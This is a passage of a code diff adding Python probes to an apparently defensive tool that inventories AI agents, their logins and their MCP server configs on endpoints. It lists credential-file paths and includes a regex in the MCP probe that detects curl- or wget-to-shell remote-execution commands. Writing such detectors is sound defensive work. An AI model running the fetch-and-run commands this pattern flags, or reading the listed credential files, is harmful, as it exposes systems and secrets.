"manifest.json")) + if not isinstance(manifest, dict): + continue + permissions = (list(manifest.get("host_permissions") or []) + + list(manifest.get("permissions") or [])) + path = posixpath.join(folder, version) + entry = self.catalog.match("extension_ids", extension_id) + out.append(Observation( + probe=self.name, channel="filesystem", kind="extension", + name=self._display_name(env, path, manifest, extension_id), path=path, + matched_on="%s:%s" % (browser, extension_id), + catalog_id=(entry or {}).get("id"), + version=str(manifest.get("version") or version), + realpath=env.realpath(path), install_root=base, + install_method="browser_extension", + pkg_identity="%s:%s:%s" % (browser, base, extension_id), owner=env.user, + extra={"host_app": browser, "extension_id": extension_id, + "host_permissions": permissions, "profile": base}, + confidence=0.45, + )) + return out + + def _firefox(self, env: DiscoveryEnv) -> List[Observation]: + """Firefox ships extensions as XPI archives, read without unpacking.""" + import json as json_mod + import zipfile + + base = env.expand(FIREFOX_ROOTS.get(env.platform, "")) + if not base or not env.is_dir(base): + return [] + out: List[Observation] = [] + for profile in env.listdir(base): + folder = posixpath.join(base, profile, "extensions") + for name in env.listdir(folder): + if not name.endswith(".xpi"): + continue + path = posixpath.join(folder, name) + try: + with zipfile.ZipFile(str(env.real(path))) as archive: + manifest = json_mod.loads(archive.read("manifest.json").decode("utf-8", "replace")) + except Exception as exc: + self.error(env, path, "unreadable xpi: %s" % exc) + continue + permissions = (list(manifest.get("host_permissions") or []) + + list(manifest.get("permissions") or [])) + out.append(Observation( + probe=self.name, channel="filesystem", kind="extension", + name=str(manifest.get("name", name)), path=path, + matched_on="firefox:%s" % name, version=str(manifest.get("version", "")), + realpath=env.realpath(path), install_root=folder, + install_method="xpi", pkg_identity="firefox:%s" % name, owner=env.user, + extra={"host_app": "firefox", "host_permissions": permissions}, + confidence=0.45, + )) + return out diff --git a/Discovery/adr_discovery/probes/identity.py b/Discovery/adr_discovery/probes/identity.py new file mode 100644 index 0000000..1b1fbfd --- /dev/null +++ b/Discovery/adr_discovery/probes/identity.py @@ -0,0 +1,122 @@ +"""Which account an agent is authenticated as, and how. + +A corporate machine driving a personal subscription is the core shadow-AI case, +and it is invisible to an inventory that records only that the tool is +installed. The fact of a stored credential is the finding; the credential itself +never leaves the endpoint. +""" + +import posixpath +import re +from typing import List, Optional + +from ..base_probe import BaseProbe, Observation +from ..env import DiscoveryEnv +from ..net import matches_any + +#: (catalog id, credential file). Presence and shape only - never the value. +CREDENTIAL_FILES = ( + ("claude-code", "~/.claude/.credentials.json"), + ("codex", "~/.codex/auth.json"), + ("gemini-cli", "~/.gemini/oauth_creds.json"), + ("cursor", "~/.cursor/credentials.json"), +) + +SHELL_RC_FILES = ("~/.zshrc", "~/.bashrc", "~/.bash_profile", "~/.profile", "~/.config/fish/config.fish") + +#: Provider key names, mapped to the tool whose spend they pay for. +PROVIDER_KEYS = { + "ANTHROPIC_API_KEY": ("anthropic", "claude-code"), + "OPENAI_API_KEY": ("openai", "codex"), + "GEMINI_API_KEY": ("google", "gemini-cli"), + "GOOGLE_API_KEY": ("google", "gemini-cli"), + "XAI_API_KEY": ("xai", "grok-cli"), +} + +EXPORT_LINE = re.compile(r"^\s*(?:export\s+|set\s+-x\s+)?([A-Z0-9_]+)\s*[= ]", re.MULTILINE) + + +class IdentityProbe(BaseProbe): + name = "identity" + + def collect(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + out.extend(self._oauth(env)) + out.extend(self._api_keys(env)) + return out + + def _oauth(self, env: DiscoveryEnv) -> List[Observation]: + corporate = [domain.lower() for domain in (env.policy.get("corporate_domains") or [])] + out: List[Observation] = [] + for catalog_id, template in CREDENTIAL_FILES: + logical = env.expand(template) + if not env.exists(logical): + continue + data = self.read_json(env, logical) + account = self._account(data) + personal = self._is_personal(account, corporate) + entry = self.catalog.get(catalog_id) or {} + out.append(Observation( + probe=self.name, channel="config", kind=entry.get("kind", "cli_agent"), + name=entry.get("name", catalog_id), path=logical, matched_on="credentials", + catalog_id=catalog_id, vendor=entry.get("vendor"), owner=env.user, + identity_hint="attr:%s" % catalog_id, + extra={"auth_method": "oauth", + "account_type": "personal" if personal else "enterprise", + "risk_factors": ["personal_account"] if personal else []}, + confidence=0.5, + )) + return out + + def _account(self, data) -> Optional[str]: + if not isinstance(data, dict): + return None + for key in ("account", "email", "subject"): + if isinstance(data.get(key), str): + return data[key] + for value in data.values(): + if isinstance(value, dict): + found = self._account(value) + if found: + return found + return None + + def _is_personal(self, account: Optional[str], corporate: List[str]) -> bool: + """No corporate domain in the account means it is somebody's own login.""" + if not account or "@" not in account: + return bool(corporate) + return not matches_any(account.split("@", 1)[1], corporate) + + def _api_keys(self, env: DiscoveryEnv) -> List[Observation]: + """A raw key in a shell profile pays for spend nobody can attribute.""" + out: List[Observation] = [] + seen = set() + for template in SHELL_RC_FILES: + logical = env.expand(template) + if not env.exists(logical): + continue + result = env.read(logical, limit=200_000) + if not result: + continue + for match in EXPORT_LINE.finditer(result.text): + name = match.group(1) + if name not in PROVIDER_KEYS or name in seen: + continue + seen.add(name) + provider, catalog_id = PROVIDER_KEYS[name] + entry = self.catalog.get(catalog_id) or {} + out.append(Observation( + probe=self.name, channel="config", kind=entry.get("kind", "cli_agent"), + name=entry.get("name", catalog_id), path=logical, + matched_on="env_key:%s" % name, catalog_id=catalog_id, + vendor=entry.get("vendor"), owner=env.user, + identity_hint="attr:%s" % catalog_id, + extra={"auth_method": "api_key", "credential_kinds": [provider], + "env_names": [name], "risk_factors": ["unattributed_spend"]}, + confidence=0.45, + )) + return out + + +def _basename(path: str) -> str: + return posixpath.basename(path) diff --git a/Discovery/adr_discovery/probes/location.py b/Discovery/adr_discovery/probes/location.py new file mode 100644 index 0000000..0796e15 --- /dev/null +++ b/Discovery/adr_discovery/probes/location.py @@ -0,0 +1,167 @@ +"""Agents that live somewhere other than this operating system's own tree. + +A developer laptop can be reported as agent-free while the whole toolchain runs +one filesystem boundary away: inside a devcontainer, inside WSL, or on a remote +host the editor is attached to. Those are still agents with access to the +repository, and an inventory that cannot say so is misleading rather than empty. +""" + +import json +import posixpath +from typing import Any, Dict, List, Optional + +from ..base_probe import BaseProbe, Observation +from ..env import DiscoveryEnv + +PROJECT_ROOTS = ("~/dev", "~/src", "~/workspace", "~/code") + +#: Keys in a devcontainer definition that can install a tool. +INSTALL_KEYS = ("postCreateCommand", "postStartCommand", "onCreateCommand", "updateContentCommand") + + +class LocationProbe(BaseProbe): + name = "location" + + def collect(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for root in PROJECT_ROOTS: + for logical, _ in env.walk(env.expand(root), max_depth=3): + base = posixpath.basename(logical) + if base == "devcontainer.json": + out.extend(self._devcontainer(env, logical)) + elif base.endswith(".code-workspace"): + out.extend(self._remote_workspace(env, logical)) + return out + + # -- containers ------------------------------------------------------- + + def _devcontainer(self, env: DiscoveryEnv, logical: str) -> List[Observation]: + data = self._read_jsonc(env, logical) + if not isinstance(data, dict): + return [] + text = " ".join(str(data.get(key, "")) for key in INSTALL_KEYS) + text += " " + " ".join(str(k) for k in (data.get("features") or {})) + text += " " + str(data.get("image", "")) + extensions = self._extensions(data) + out = [] + for entry in self.catalog.entries: + if not self._mentions(entry, text, extensions): + continue + out.append(Observation( + probe=self.name, channel="config", kind=entry.get("kind", "cli_agent"), + name=entry["name"], path=logical, matched_on="devcontainer", + catalog_id=entry["id"], vendor=entry.get("vendor"), + install_method="container", owner=env.user, + identity_hint="location:%s:%s" % (entry["id"], logical), + extra={"flags": ["container_declared"], "location": "devcontainer", + "project": posixpath.dirname(posixpath.dirname(logical))}, + confidence=0.5, + )) + return out + + def _extensions(self, data: Dict[str, Any]) -> List[str]: + customizations = data.get("customizations") or {} + vscode = customizations.get("vscode") or {} + return [str(item).lower() for item in (vscode.get("extensions") or [])] + + def _mentions(self, entry: Dict[str, Any], text: str, extensions: List[str]) -> bool: + lowered = text.lower() + for package in entry.get("npm_packages", []) + entry.get("pypi_packages", []): + if package.lower() in lowered: + return True + for extension_id in entry.get("extension_ids", []): + if extension_id.lower() in extensions: + return True + for binary in entry.get("binaries", []): + if (" %s " % binary) in (" %s " % lowered): + return True + return False + + # -- remote hosts ----------------------------------------------------- + + def _remote_workspace(self, env: DiscoveryEnv, logical: str) -> List[Observation]: + """An editor workspace attached to another machine. + + The agent runs there, not here. Reporting it as a local install would + overstate this endpoint; dropping it would lose the fact entirely. + """ + data = self._read_jsonc(env, logical) + if not isinstance(data, dict): + return [] + authority = str(data.get("remoteAuthority", "")) + if not authority: + return [] + host = authority.split("+", 1)[-1] + extensions = self._extensions(data) + out = [] + for entry in self.catalog.entries: + if not self._mentions(entry, str(data.get("settings", "")), extensions): + continue + out.append(Observation( + probe=self.name, channel="config", kind=entry.get("kind", "cli_agent"), + name=entry["name"], path=logical, matched_on="remote_workspace", + catalog_id=entry["id"], vendor=entry.get("vendor"), + install_method="remote", owner=env.user, + identity_hint="location:%s:%s" % (entry["id"], host), + extra={"flags": ["remote"], "location": "remote:%s" % host, "host": host}, + confidence=0.5, + )) + return out + + def _read_jsonc(self, env: DiscoveryEnv, logical: str) -> Optional[Any]: + """Devcontainer and workspace files are JSON with comments in practice.""" + result = env.read(logical) + if not result: + self.error(env, logical, result.error or "unreadable") + return None + try: + return json.loads(strip_jsonc(result.text)) + except ValueError as exc: + self.error(env, logical, "malformed json: %s" % exc) + return None + + +def strip_jsonc(text: str) -> str: + """Remove // and /* */ comments and trailing commas, outside of strings.""" + out = [] + in_string = False + escaped = False + index = 0 + while index < len(text): + char = text[index] + if in_string: + out.append(char) + if escaped: + escaped = False + elif char == "\\": + escaped = True + elif char == '"': + in_string = False + index += 1 + continue + if char == '"': + in_string = True + out.append(char) + index += 1 + continue + if text.startswith("//", index): + index = text.find("\n", index) + if index == -1: + break + continue + if text.startswith("/*", index): + end = text.find("*/", index) + index = len(text) if end == -1 else end + 2 + continue + out.append(char) + index += 1 + cleaned = "".join(out) + # trailing commas before a closing brace or bracket + result = [] + for position, char in enumerate(cleaned): + if char == ",": + rest = cleaned[position + 1:].lstrip() + if rest[:1] in ("}", "]"): + continue + result.append(char) + return "".join(result) diff --git a/Discovery/adr_discovery/probes/mcp.py b/Discovery/adr_discovery/probes/mcp.py new file mode 100644 index 0000000..a21c775 --- /dev/null +++ b/Discovery/adr_discovery/probes/mcp.py @@ -0,0 +1,727 @@ +"""MCP servers: the highest-risk surface, and the only one that is purely declared. + +An ``npx -y`` server leaves essentially nothing on disk. It exists as a line in +a config file and, briefly, as a child process. Every host application keeps +that line somewhere different, under a different key, so a probe that knows only +one layout sees a fraction of the fleet's servers. +""" + +import hashlib +import json +import posixpath +import re +from typing import Any, Dict, List, Optional, Tuple + +from ..base_probe import BaseProbe, Observation +from ..env import DiscoveryEnv +from ..net import host_of, matches_any +from ..paths import is_descendant +from ..redact import ( + looks_like_flag, + normalize_flag, + redact_argv, + redact_env_block, + redact_url, + sanitize, + split_flag, +) + +#: (path, host application, config key, scope). The key differs per host on +#: purpose: VS Code uses "servers", Zed uses "context_servers", everyone else +#: uses "mcpServers", and a probe that assumes one of them misses the others. +CONFIG_LOCATIONS = { + "darwin": [ + ("~/.claude.json", "claude-code", "mcpServers", "user"), + ("~/Library/Application Support/Claude/claude_desktop_config.json", + "claude-desktop", "mcpServers", "user"), + ("~/.cursor/mcp.json", "cursor", "mcpServers", "user"), + ("~/.codeium/windsurf/mcp_config.json", "windsurf", "mcpServers", "user"), + ("~/Library/Application Support/Zed/settings.json", "zed", "context_servers", "user"), + ("~/Library/Application Support/Code/User/mcp.json", "vscode", "servers", "user"), + ("~/Library/Application Support/Code/User/globalStorage/saoudrizwan.claude-dev/" + "settings/cline_mcp_settings.json", "cline", "mcpServers", "user"), + ("~/Library/Application Support/JetBrains/options/mcp.json", "jetbrains", "mcpServers", "user"), + ("~/.config/opencode/opencode.json", "opencode", "mcp", "user"), + ("~/.codex/config.toml", "codex", "mcp_servers", "user"), + ("~/.config/goose/config.yaml", "goose", "extensions", "user"), + ("/Library/Application Support/ClaudeCode/managed-settings.json", + "claude-code", "mcpServers", "enterprise_managed"), + ("/Library/Application Support/ADR/managed-mcp.json", + "claude-code", "mcpServers", "enterprise_managed"), + ], + "windows": [ + ("%APPDATA%/Claude/claude_desktop_config.json", "claude-desktop", "mcpServers", "user"), + ("~/.claude.json", "claude-code", "mcpServers", "user"), + ("~/.cursor/mcp.json", "cursor", "mcpServers", "user"), + ("%APPDATA%/Codeium/windsurf/mcp_config.json", "windsurf", "mcpServers", "user"), + ("%APPDATA%/Code/User/mcp.json", "vscode", "servers", "user"), + ("%APPDATA%/Zed/settings.json", "zed", "context_servers", "user"), + ("~/.codex/config.toml", "codex", "mcp_servers", "user"), + ("C:/Program Files/ClaudeCode/managed-settings.json", + "claude-code", "mcpServers", "enterprise_managed"), + ], + "linux": [ + ("~/.claude.json", "claude-code", "mcpServers", "user"), + ("~/.config/claude-desktop/claude_desktop_config.json", + "claude-desktop", "mcpServers", "user"), + ("~/.cursor/mcp.json", "cursor", "mcpServers", "user"), + ("~/.codeium/windsurf/mcp_config.json", "windsurf", "mcpServers", "user"), + ("~/.config/zed/settings.json", "zed", "context_servers", "user"), + ("~/.config/Code/User/mcp.json", "vscode", "servers", "user"), + ("~/.config/opencode/opencode.json", "opencode", "mcp", "user"), + ("~/.codex/config.toml", "codex", "mcp_servers", "user"), + ("~/.config/goose/config.yaml", "goose", "extensions", "user"), + ("/etc/claude-code/managed-settings.json", + "claude-code", "mcpServers", "enterprise_managed"), + ], +} + +#: Project-scoped configs, found by a depth-bounded walk of the usual roots. +PROJECT_CONFIGS = ((".mcp.json", "claude-code", "mcpServers"), + (".cursor/mcp.json", "cursor", "mcpServers"), + (".vscode/mcp.json", "vscode", "servers")) + +PROJECT_ROOTS = ("~/dev", "~/src", "~/workspace", "~/code") + +#: Where Claude Desktop keeps installed .mcpb bundles (formerly .dxt). +BUNDLE_DIRS = { + "darwin": "~/Library/Application Support/Claude/Claude Extensions", + "windows": "%APPDATA%/Claude/Claude Extensions", + "linux": "~/.config/claude-desktop/Claude Extensions", +} + +#: Where each host application caches an OAuth credential. The fact of standing +#: delegated access is the finding; the token itself never leaves the machine. +CREDENTIAL_FILES = { + "claude-code": "~/.claude/.credentials.json", + "claude-desktop": "~/Library/Application Support/Claude/credentials.json", + "cursor": "~/.cursor/credentials.json", +} + +#: MDM-delivered policy: a preference domain on macOS, a policy key on Windows. +MDM_PREFERENCE_DOMAIN = "com.anthropic.claudecode" +MDM_REGISTRY_KEY = r"HKLM\SOFTWARE\Policies\ClaudeCode" + +#: Launchers that resolve a package at run time. +EPHEMERAL_LAUNCHERS = frozenset({"npx", "uvx", "bunx", "pipx", "pnpm", "yarn", "dlx"}) +PYPI_LAUNCHERS = frozenset({"uvx", "pipx"}) + +#: Version specifiers that still float even though a version is written down. +FLOATING_SPECIFIERS = ("@latest", "@next", "@^", "@~", "@*", "@>", "@<") + +#: Sources that resolve to whatever a branch happens to hold. +VCS_PREFIXES = ("github:", "git+", "gitlab:", "bitbucket:") + +#: Options whose next argument is a value rather than the thing being run. +#: Without these, ``docker run -v /host:tag image:latest`` reads the volume as +#: the image and calls an unpinned launch pinned - a wrong verdict in the +#: direction that hides risk. +DOCKER_VALUE_OPTIONS = frozenset({ + "volume", "v", "publish", "p", "env", "e", "env-file", "workdir", "w", "name", "network", + "net", "user", "u", "mount", "label", "l", "add-host", "entrypoint", "platform", + "memory", "m", "cpus", "device", "log-driver", "restart", "pull", "health-cmd", + "tmpfs", "ulimit", "security-opt", "annotation", "runtime", "gpus", + "cgroupns", "pid", "ipc", "dns", "expose", "stop-signal", +}) + +#: Options that stand alone. Everything not listed here is treated as taking a +#: value, so an option nobody thought of cannot smuggle an image past the parser. +DOCKER_BOOLEAN_OPTIONS = frozenset({ + "rm", "detach", "d", "interactive", "i", "tty", "t", "it", "ti", "init", "privileged", + "read-only", "no-healthcheck", "quiet", "q", "sig-proxy", "publish-all", "p-all", "help", +}) + +LAUNCHER_VALUE_OPTIONS = frozenset({ + "registry", "cache", "userconfig", "shell", "node-arg", "package", "prefix", "from", + "with", "python", "index-url", "extra-index-url", "spec", "pip-args", "python-version", +}) + +LAUNCHER_BOOLEAN_OPTIONS = frozenset({ + "yes", "y", "no", "no-install", "prefer-online", "prefer-offline", "ignore-existing", + "quiet", "q", "silent", "isolated", "no-cache", "refresh", "verbose", "v", "help", +}) + +#: Shell shapes that fetch and execute code at launch. Deliberately loose about +#: what sits between the download and the interpreter: an ``env`` prefix, an +#: absolute path, a flag, or PowerShell's own spelling all describe one thing. +DOWNLOADERS = r"curl|wget|iwr|invoke-webrequest|fetch|httpie|http" +INTERPRETERS_RE = r"sh|bash|zsh|dash|fish|ksh|python[0-9.]*|node|perl|ruby|iex|invoke-expression" +REMOTE_EXEC = re.compile( + r"\b(?:%s)\b[^|;&]*\|[^|]*?\b(?:%s)\b" % (DOWNLOADERS, INTERPRETERS_RE), + re.IGNORECASE) + +MAX_SERVERS_PER_CONFIG = 500 + + +class McpProbe(BaseProbe): + name = "mcp" + + def collect(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for logical, host, key, scope in CONFIG_LOCATIONS.get(env.platform, []): + if not env.exists(logical): + continue + servers = self._parse(env, logical, key) + if not servers: + continue + servers = self._cap(env, logical, self._servers_map(env, logical, servers)) + for name, spec in servers.items(): + observation = self._emit(env, logical, host, name, spec, scope) + if observation is not None: + out.append(observation) + out.extend(self._project_scoped(env)) + out.extend(self._plugin_servers(env)) + out.extend(self._managed_policy(env)) + out.extend(self._bundles(env)) + self._apply_enablement(env, out) + return out + + def _servers_map(self, env: DiscoveryEnv, logical: str, value: Any) -> Dict[str, Any]: + """A server collection is a mapping. Anything else is one bad source. + + Validated at every entry point rather than only at the main one: a + managed policy or a bundle manifest of the wrong shape used to take the + whole probe down with it, valid discoveries included. + """ + if isinstance(value, dict): + return value + if value is None: + return {} + self.error(env, logical, "expected a server map, found %s" % type(value).__name__) + return {} + + def _emit(self, env: DiscoveryEnv, logical: str, host: str, name: str, spec: Any, + scope: str) -> Optional[Observation]: + """One server, isolated, so a bad neighbour cannot erase it.""" + return self.isolate(env, "%s#%s" % (logical, name), + lambda: self._observe(env, logical, host, name, spec, scope)) + + def _cap(self, env: DiscoveryEnv, logical: str, servers: Dict[str, Any]) -> Dict[str, Any]: + """A cap that fires is reported. Silent truncation reads as coverage.""" + if len(servers) <= MAX_SERVERS_PER_CONFIG: + return servers + self.error(env, logical, "server list capped at %d of %d" + % (MAX_SERVERS_PER_CONFIG, len(servers))) + env.coverage.setdefault("capped", []).append( + {"path": logical, "kept": MAX_SERVERS_PER_CONFIG, "declared": len(servers)}) + return dict(list(servers.items())[:MAX_SERVERS_PER_CONFIG]) + + # -- parsing ---------------------------------------------------------- + + def _parse(self, env: DiscoveryEnv, logical: str, key: str) -> Optional[Dict[str, Any]]: + if logical.endswith(".toml"): + return self._parse_toml(env, logical, key) + if logical.endswith((".yaml", ".yml")): + return self._parse_yaml(env, logical, key) + data = self._read_jsonc(env, logical) + if not isinstance(data, dict): + return None + servers = data.get(key) + return servers if isinstance(servers, dict) else {} + + def _read_jsonc(self, env: DiscoveryEnv, logical: str) -> Optional[Any]: + """Editor configs are JSON with comments in practice, not strict JSON.""" + from .location import strip_jsonc + + result = env.read(logical) + if not result: + self.error(env, logical, result.error or "unreadable") + return None + if result.truncated: + self.error(env, logical, "truncated at read ceiling") + try: + return json.loads(strip_jsonc(result.text)) + except ValueError as exc: + self.error(env, logical, "malformed json: %s" % exc) + return None + + def _parse_toml(self, env: DiscoveryEnv, logical: str, key: str) -> Optional[Dict[str, Any]]: + """Parse TOML with a compliant parser, never with a subset of one. + + A handwritten reader splits on punctuation, and TOML puts punctuation + inside quotes: a table named ``"team.server"`` became two tables, and a + comma inside an argument string ended the array. Both mistakes are + silent, and both cost the server its command, its identity and its risk + verdict. + """ + loader = _toml_loader() + if loader is None: + self.error(env, logical, "no TOML parser available; install tomli on Python < 3.11") + return None + result = env.read(logical) + if not result: + self.error(env, logical, result.error or "unreadable") + return None + try: + data = loader(result.text) + except Exception as exc: + self.error(env, logical, "malformed toml: %s" % exc) + return None + servers = data.get(key) + return servers if isinstance(servers, dict) else {} + + def _parse_yaml(self, env: DiscoveryEnv, logical: str, key: str) -> Optional[Dict[str, Any]]: + """Minimal YAML subset for goose-style ``extensions:`` blocks. + + Deliberately narrow, and it says so: constructs it cannot represent are + reported rather than mis-parsed, because a config read wrongly is worse + than one read not at all. Replacing this with a real parser is the same + move already made for TOML, and is worth making when goose configs in + the field turn out to use more of the language. + """ + result = env.read(logical) + if not result: + self.error(env, logical, result.error or "unreadable") + return None + if any(marker in result.text for marker in ("&", "*", "<<:", "|-", ">-")): + self.error(env, logical, "yaml uses constructs beyond the supported subset") + return None + servers: Dict[str, Any] = {} + in_block = False + current: Optional[str] = None + for raw_line in result.text.splitlines(): + if not raw_line.strip() or raw_line.lstrip().startswith("#"): + continue + indent = len(raw_line) - len(raw_line.lstrip()) + line = raw_line.strip() + if indent == 0: + in_block = line.rstrip(":") == key + current = None + continue + if not in_block: + continue + if line.endswith(":") and indent <= 2: + current = line[:-1].strip() + servers[current] = {} + continue + if current is None or ":" not in line: + continue + field, _, value = line.partition(":") + servers[current][field.strip()] = _yaml_value(value.strip()) + return servers + + # -- additional surfaces ---------------------------------------------- + + def _project_scoped(self, env: DiscoveryEnv) -> List[Observation]: + out: List[Observation] = [] + for root in PROJECT_ROOTS: + for logical, _ in env.walk(env.expand(root), max_depth=3): + for suffix, host, key in PROJECT_CONFIGS: + if not logical.endswith("/" + suffix): + continue + servers = self._cap(env, logical, + self._servers_map(env, logical, + self._parse(env, logical, key))) + for name, spec in servers.items(): + observation = self._emit(env, logical, host, name, spec, "project") + if observation is not None: + out.append(observation) + return out + + def _plugin_servers(self, env: DiscoveryEnv) -> List[Observation]: + """A plugin install is a supply-chain event for MCP too.""" + base = env.expand("~/.claude/plugins") + if not env.is_dir(base): + return [] + out: List[Observation] = [] + for plugin in env.listdir(base): + logical = posixpath.join(base, plugin, ".mcp.json") + if not env.exists(logical): + continue + servers = self._cap(env, logical, + self._servers_map(env, logical, + self._parse(env, logical, "mcpServers"))) + for name, spec in servers.items(): + observation = self._emit(env, logical, "claude-code", name, spec, "plugin") + if observation is not None: + observation.extra["plugin"] = plugin + out.append(observation) + return out + + def _managed_policy(self, env: DiscoveryEnv) -> List[Observation]: + """Policy delivered by MDM rather than by a file on disk.""" + out: List[Observation] = [] + domain = "defaults:%s" % MDM_PREFERENCE_DOMAIN + payload = env.preferences.get(MDM_PREFERENCE_DOMAIN) + if payload is not None and not isinstance(payload, dict): + self.error(env, domain, "expected a policy object, found %s" % type(payload).__name__) + payload = None + if isinstance(payload, dict): + servers = self._cap(env, domain, + self._servers_map(env, domain, payload.get("mcpServers"))) + for name, spec in servers.items(): + observation = self._emit(env, domain, "claude-code", name, spec, + "enterprise_managed") + if observation is not None: + observation.extra["source"] = "mdm" + out.append(observation) + for record in env.registry: + if str(record.get("Key", "")).upper() != MDM_REGISTRY_KEY.upper(): + continue + try: + settings = json.loads(record.get("Settings", "{}")) + except ValueError as exc: + self.error(env, MDM_REGISTRY_KEY, "malformed policy json: %s" % exc) + continue + if not isinstance(settings, dict): + # Decoded successfully and still the wrong shape. The macOS + # payload was already checked for this; the registry one has to + # be, or a single policy record empties the whole probe. + self.error(env, MDM_REGISTRY_KEY, "expected a policy object, found %s" + % type(settings).__name__) + continue + servers = self._cap(env, MDM_REGISTRY_KEY, + self._servers_map(env, MDM_REGISTRY_KEY, + settings.get("mcpServers"))) + for name, spec in servers.items(): + observation = self._emit(env, MDM_REGISTRY_KEY, "claude-code", name, spec, + "enterprise_managed") + if observation is not None: + observation.extra["source"] = "mdm" + out.append(observation) + return out + + def _bundles(self, env: DiscoveryEnv) -> List[Observation]: + """Installed .mcpb bundles carry their own runtime and reveal nothing else.""" + base = env.expand(BUNDLE_DIRS.get(env.platform, "")) + if not base or not env.is_dir(base): + return [] + out: List[Observation] = [] + for name in env.listdir(base): + folder = posixpath.join(base, name) + observation = self.isolate(env, folder, + lambda f=folder, n=name: self._bundle(env, f, n)) + if observation is not None: + out.append(observation) + return out + + def _bundle(self, env: DiscoveryEnv, folder: str, name: str) -> Optional[Observation]: + manifest = self.read_json(env, posixpath.join(folder, "manifest.json")) + if not isinstance(manifest, dict): + return None + server = manifest.get("server") + if server is not None and not isinstance(server, dict): + self.error(env, folder, "bundle server block is %s, not an object" + % type(server).__name__) + return self._malformed_bundle(env, folder, manifest, name) + server = server or {} + if not server.get("command"): + # A bundle with nothing to launch is an installed extension, not a + # server. Emitting one anyway inflates the MCP count and can raise a + # finding about something that cannot run. + return self._malformed_bundle(env, folder, manifest, name) + spec = {"command": server.get("command", ""), "args": server.get("args", [])} + observation = self._observe(env, folder, "claude-desktop", + manifest.get("name", name), spec, "user") + observation.install_method = "mcpb" + observation.version = manifest.get("version") + observation.extra["bundle"] = manifest.get("name", name) + if not manifest.get("signature"): + observation.extra["risk_factors"].append("unsigned_bundle") + return observation + + def _malformed_bundle(self, env: DiscoveryEnv, folder: str, manifest: Dict[str, Any], + name: str) -> Observation: + """Record the installation without inventing the server it failed to declare.""" + return Observation( + probe=self.name, channel="filesystem", kind="mcp_bundle", + name=str(manifest.get("name", name)), path=folder, matched_on="bundle", + version=manifest.get("version"), install_root=folder, install_method="mcpb", + owner=env.user, + extra={"flags": ["malformed_manifest"], "scope": "user", + "risk_factors": [] if manifest.get("signature") else ["unsigned_bundle"], + "bundle": str(manifest.get("name", name))}, + confidence=0.5, + ) + + def _apply_enablement(self, env: DiscoveryEnv, observations: List[Observation]) -> None: + """Project servers are inert until approved, and that is worth recording.""" + approved: Dict[str, List[str]] = {} + for root in PROJECT_ROOTS: + for logical, _ in env.walk(env.expand(root), max_depth=3): + if not logical.endswith("/.claude/settings.json"): + continue + data = self._read_jsonc(env, logical) + if isinstance(data, dict): + project = posixpath.dirname(posixpath.dirname(logical)) + approved[project] = list(data.get("enabledMcpjsonServers") or []) + for observation in observations: + if observation.extra.get("scope") != "project": + continue + project = posixpath.dirname(observation.path) + for candidate, names in approved.items(): + if is_descendant(project, candidate): + observation.extra["enabled"] = observation.name in names + break + + # -- one server ------------------------------------------------------- + + def _observe(self, env: DiscoveryEnv, config_path: str, host: str, + name: str, spec: Any, scope: str) -> Observation: + spec = spec if isinstance(spec, dict) else {} + malformed: List[str] = [] + command = sanitize(str(spec.get("command", ""))) + args = _as_args(spec.get("args"), malformed) + env_block = _as_env(spec.get("env"), malformed) + raw_url = spec.get("url") or spec.get("uri") or "" + url = redact_url(str(raw_url)) if raw_url else "" + transport = spec.get("type") or spec.get("transport") or ( + "http" if url.startswith("http") else "stdio") + env_names, credential_kinds = redact_env_block(env_block) + pinned, factors, method = classify_launch(command, args, url) + factors.extend(self._contextual_factors(env, transport, url, env_block, args)) + # Identity from the launch as written; storage from the launch redacted. + # A config's argument list is as capable of carrying a credential as a + # command line, and sanitizing control characters is not redaction. + identity = server_identity(transport, command, args, url) + stored_args = redact_argv([command] + args)[1:] + flags = list(malformed) + if command.startswith("/") and not env.exists(command): + # A declaration whose command is absent is still a real declaration. + flags.append("command_missing") + credential = bool(url) and env.exists(CREDENTIAL_FILES.get(host, "")) + return Observation( + probe=self.name, channel="config", kind="mcp_server", name=sanitize(str(name)), + path=config_path, matched_on="config:%s" % host, install_method=method, + identity_hint=identity, owner=env.user, confidence=0.6, + extra={ + "command": command, "args": stored_args, "url": url, "transport": transport, + "env_names": env_names, "credential_kinds": credential_kinds, "scope": scope, + "host_app": host, "pinned": pinned, "risk_factors": factors, + "enabled": _enablement(spec, scope), "flags": flags, + "stored_credential": credential, + }, + ) + + def _contextual_factors(self, env: DiscoveryEnv, transport: str, url: str, + env_block: Any, args: List[str]) -> List[str]: + """Risk that depends on the tenant or on what the server was granted.""" + factors = [] + if transport == "sse": + # Deprecated in 2025, with removals landing through 2026. + factors.append("deprecated_transport") + if url: + corporate = env.policy.get("corporate_domains") or [] + if corporate and not matches_any(host_of(url), corporate): + factors.append("third_party_remote") + if env_block is None and not url: + # No env block does not mean no credentials. It means all of them. + factors.append("inherits_environment") + if any(arg in ("/", "~", "/Users", "/home") for arg in args): + factors.append("broad_filesystem_scope") + if any("gateway" in arg or "mcp-gateway" in arg for arg in args): + factors.append("aggregator") + return factors + + +def _enablement(spec: Dict[str, Any], scope: str) -> Optional[bool]: + """Whether a declaration is live, or None when the host has not said. + + A project server is inert until the project's settings approve it, so + "declared here, approval unknown" is a third state and not a synonym for + enabled. Collapsing it into True is what let one project's approval appear + to cover a neighbouring one. + """ + if spec.get("disabled") is True: + return False + return None if scope == "project" else True + + +def _as_args(value: Any, malformed: List[str]) -> List[str]: + """Arguments are an array of scalars, whatever a config actually contains. + + A bare string is the common mistake, and iterating it yields one argument + per character - which changes both the server's identity and its pinning + verdict. Treated as a single argument, and the record is marked. + """ + if value is None: + return [] + if isinstance(value, str): + malformed.append("malformed_config") + return [sanitize(value)] + if not isinstance(value, (list, tuple)): + malformed.append("malformed_config") + return [sanitize(str(value))] + out = [] + for item in value: + if isinstance(item, (dict, list, tuple)): + malformed.append("malformed_config") + continue + out.append(sanitize(str(item))) + return out + + +def _as_env(value: Any, malformed: List[str]) -> Optional[Dict[str, Any]]: + """An env block is a mapping. Anything else is reported, never fatal.""" + if value is None: + return None + if isinstance(value, dict): + return value + malformed.append("malformed_config") + return {} + + +def _toml_loader(): + """The best TOML parser available: stdlib on 3.11+, tomli before that.""" + try: + import tomllib + + return lambda text: tomllib.loads(text) + except ImportError: + pass + try: + import tomli + + return lambda text: tomli.loads(text) + except ImportError: + return None + + +def _yaml_value(raw: str) -> 